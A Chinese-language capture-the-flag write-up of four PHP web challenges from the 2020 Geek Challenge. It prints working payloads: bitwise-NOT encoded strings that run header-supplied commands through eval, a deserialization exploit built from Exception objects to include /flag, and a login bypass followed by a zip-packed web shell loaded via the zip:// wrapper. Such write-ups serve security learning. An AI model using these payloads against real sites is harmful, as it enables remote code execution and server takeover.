前言
抽空做了一下2020的极客大挑战,记录一下
Welcome
访问题目环境,啥都没有,可能是源码泄露??扫了一下没有。抓个包看一下,发现是 method not allowed ,POST传一下得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("HTTP/1.1 405 Method Not Allowed"); exit(); } else { if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){ show_source(__FILE__); } else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])) { phpinfo(); } }
|
简单的数组绕过,在phpinfo里面搜索flag得到
Rceme

前端页面好看~
F12 发现提示:vim swp 很显然是 .swp泄露 ,我们访问 .index.php.swp 下载文件 拖到kali 里面,使用 vi -r .index.php.swp 命令来恢复,发现源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); session_start(); if(!isset($_SESSION['code'])){ $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5); }
if(isset($_POST['cmd']) and isset($_POST['code'])){
if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){ die('<script>alert(\'Captcha error~\');history.back()</script>'); } $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5); $code = $_POST['cmd']; if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){ die('<script>alert(\'Longlone not like you~\');history.back()</script>'); }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); die(); } } ?>
|
三层:
- md5(code) 的前5个字符 要等于题目给的
- rce,无字母,无数字,且过滤了 ‘ “ ^ | 等
- 要能过正则,无参数,且符合正则的形式,()()这样是过不了的。
截取md5脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import hashlib from multiprocessing.dummy import Pool as ThreadPool
def md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() keymd5 = '2e2f0' md5start = 0 md5length = 5 def findmd5(sss): key = sss.split(':') start = int(key[0]) end = int(key[1]) result = 0 for i in range(start, end): if md5(i)[0:5] == keymd5: result = i print(result) break
list=[] for i in range(10): list.append(str(10000000*i) + ':' + str(10000000*(i+1))) pool = ThreadPool() pool.map(findmd5, list) pool.close() pool.join()
|
过滤了异或,我们可以取反,同时可以利用数组的形式来构造字符:
[phpinfo][0] 这个的值为 phpinfo

这里对命令的长度进行了限制,我们采用一个getallheaders() 这个函数,这个是可以得到请求头的内容,我们通过构造 var_dump(getallheaders()); 构造:
[~%89%9E%8D%A0%9B%8A%92%8F][!%aa]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%aa]());
经测试[%aa] 返回1,所以! 取反为0 。 得到回显:

可以看到User-Agent 为第二个字段,我们可以利用 next 指向它,然后通过控制 user-agent的值来造成命令执行,即system(next(getallheaders()))
对应构造字符串为:
[~%8C%86%8C%8B%9A%92][!%aa]([~%91%9A%87%8B][!%aa]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%aa]()));

可以发现成功执行~
Greatphp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } }
if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
|
很直白的代码审计,反序列化。
这里我们想到利用原生类,之前也有遇到过,用的两个比较多的原生类 Exception和Error ,类之中有一个 to_string 函数,当类被当做字符串处理时,就会调用这个函数。
本地做个测试:

可以看到,两个类md5加密是一样的,但是这是两个不同的类。注意这里得使两个类在同一行,不然md5加密的值是不相等的,因为报错信息会带行号。利用这个我们可以满足 if 条件了。接下来就是绕过匹配,来rce :
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match))
不能以<?php 开头,过滤了 ( ) “ “ ‘
过滤 <?php 可以尝试用短标签<?= ,过滤了()绝大多数函数用不了,但是可以用 include函数
我们想办法直接包含 /flag 就好。
构造的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php class SYCLOVER { public $syc; public $lover;
public function __wakeup() { if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) { if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->var1, $match)) { eval($this->syc); } else { die("Try Hard !!"); }
} } }
$str = "?>"."<?=include~".urldecode("%D0%99%93%9E%98")."?>"; $a = new Exception($str, 1);$b = new Exception($str, 2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
|
Myblog

猜测可能存在文件包含,尝试一下伪协议,读到了代码:
login.php :
核心的一段信息: <form method="post" action="/?page=admin/user" class="form-validate" id="loginFrom">
我们再来读一下 admin/user的代码:
有两段,一段是关于登陆的逻辑,另外一个是关于文件上传的逻辑,我们先来看一下登陆的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); session_start(); $logined = false; if (isset($_POST['username']) and isset($_POST['password'])){ if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ $logined = true; $_SESSION['status'] = $logined; } } if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){ echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>"; die(); } ?>
|
$_POST['password'] == $_SESSION['password'] 这里用的是 弱比较,我们将密码和session都置为空,即可满足相等:

成功绕过,进入 admin/user 的页面

在这里找到上传点,我们来看一下文件上传的逻辑:
这里就是一个白名单机制,结合前面的文件包含,我们很容易想到利用 图片马+文件包含来getshell
但问题来了,我们上传的文件 路径为 ./assets/img/upload/xxx.png 然后我们包含的话,后面会给我们加上 .php
就不能成功包含了,这里我们可以用zip:// 伪协议。zip:// 伪协议的格式为:
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
我们构造一个 一句话的 shell.php ,然后压缩成zip,改一下后缀名(这里不影响zip伪协议)改成png
然后我们上传,最后包含成功 getshell
http://dab74825-3a98-434c-8d54-2d5618ca06a9.node3.buuoj.cn/?page=zip:///var/www/html/assets/img/upload/dcfa1ea60f2bae0eae2ec714e752a899c7d560b9.png%23shell
拼接之后相当于就是包含了 shell.php。
小结
从极客大挑战四道题学到了一些小的trick,比如绕过登陆,数组构造字符串,也复习了一下伪协议的用法